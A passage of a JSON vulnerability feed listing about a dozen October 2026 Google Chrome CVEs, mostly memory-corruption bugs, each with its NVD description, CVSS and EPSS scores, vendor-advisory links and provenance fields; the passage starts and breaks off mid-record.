score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113137, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113136","cveId":"CVE-2026-113136","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.867Z","updatedAt":"2026-10-21T16:08:19.967Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113136","asOf":"2026-10-21T16:08:19.967Z"},"epss":{"probability":0.00417,"percentile":0.35712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113136","type":"primary","publishedAt":"2026-10-20T22:19:05.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113135","cveId":"CVE-2026-113135","aliases":[],"kind":"vulnerability","title":"Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.760Z","updatedAt":"2026-10-21T16:09:29.420Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113135","asOf":"2026-10-21T16:09:29.420Z"},"epss":{"probability":0.0037,"percentile":0.30631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113135","type":"primary","publishedAt":"2026-10-20T22:19:05.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113134","cveId":"CVE-2026-113134","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.643Z","updatedAt":"2026-10-23T18:13:01.660Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113134","asOf":"2026-10-23T18:13:01.660Z"},"epss":{"probability":0.00417,"percentile":0.35713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113134","type":"primary","publishedAt":"2026-10-20T22:19:05.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113133","cveId":"CVE-2026-113133","aliases":[],"kind":"vulnerability","title":"Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.537Z","updatedAt":"2026-10-21T16:14:13.300Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113133","asOf":"2026-10-21T16:14:13.300Z"},"epss":{"probability":0.00417,"percentile":0.35714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113133","type":"primary","publishedAt":"2026-10-20T22:19:05.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113132","cveId":"CVE-2026-113132","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.427Z","updatedAt":"2026-10-21T16:14:28.383Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113132","asOf":"2026-10-21T16:14:28.383Z"},"epss":{"probability":0.00426,"percentile":0.3657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113132","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113132","type":"primary","publishedAt":"2026-10-20T22:19:05.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113131","cveId":"CVE-2026-113131","aliases":[],"kind":"vulnerability","title":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.317Z","updatedAt":"2026-10-21T16:14:44.510Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113131","asOf":"2026-10-21T16:14:44.510Z"},"epss":{"probability":0.00417,"percentile":0.35711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113131","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113131","type":"primary","publishedAt":"2026-10-20T22:19:05.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113130","cveId":"CVE-2026-113130","aliases":[],"kind":"vulnerability","title":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.207Z","updatedAt":"2026-10-21T16:15:14.550Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113130","asOf":"2026-10-21T16:15:14.550Z"},"epss":{"probability":0.00426,"percentile":0.36571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113130","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113130","type":"primary","publishedAt":"2026-10-20T22:19:05.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113128","cveId":"CVE-2026-113128","aliases":[],"kind":"vulnerability","title":"Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page.","summary":"Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","detail":"Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.990Z","updatedAt":"2026-10-21T16:16:21.820Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113128","asOf":"2026-10-21T16:16:21.820Z"},"epss":{"probability":0.0032,"percentile":0.24757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113128","type":"primary","publishedAt":"2026-10-20T22:19:04.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113127","cveId":"CVE-2026-113127","aliases":[],"kind":"vulnerability","title":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.880Z","updatedAt":"2026-10-21T16:19:15.630Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113127","asOf":"2026-10-21T16:19:15.630Z"},"epss":{"probability":0.00528,"percentile":0.44387,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113127","type":"primary","publishedAt":"2026-10-20T22:19:04.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113125","cveId":"CVE-2026-113125","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.657Z","updatedAt":"2026-10-21T16:22:16.493Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113125","asOf":"2026-10-21T16:22:16.493Z"},"epss":{"probability":0.00417,"percentile":0.35711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113125","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113125","type":"primary","publishedAt":"2026-10-20T22:19:04.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113124","cveId":"CVE-2026-113124","aliases":[],"kind":"vulnerability","title":"Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.547Z","updatedAt":"2026-10-21T16:23:20.373Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113124","asOf":"2026-10-21T16:23:20.373Z"},"epss":{"probability":0.00417,"percentile":0.35716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 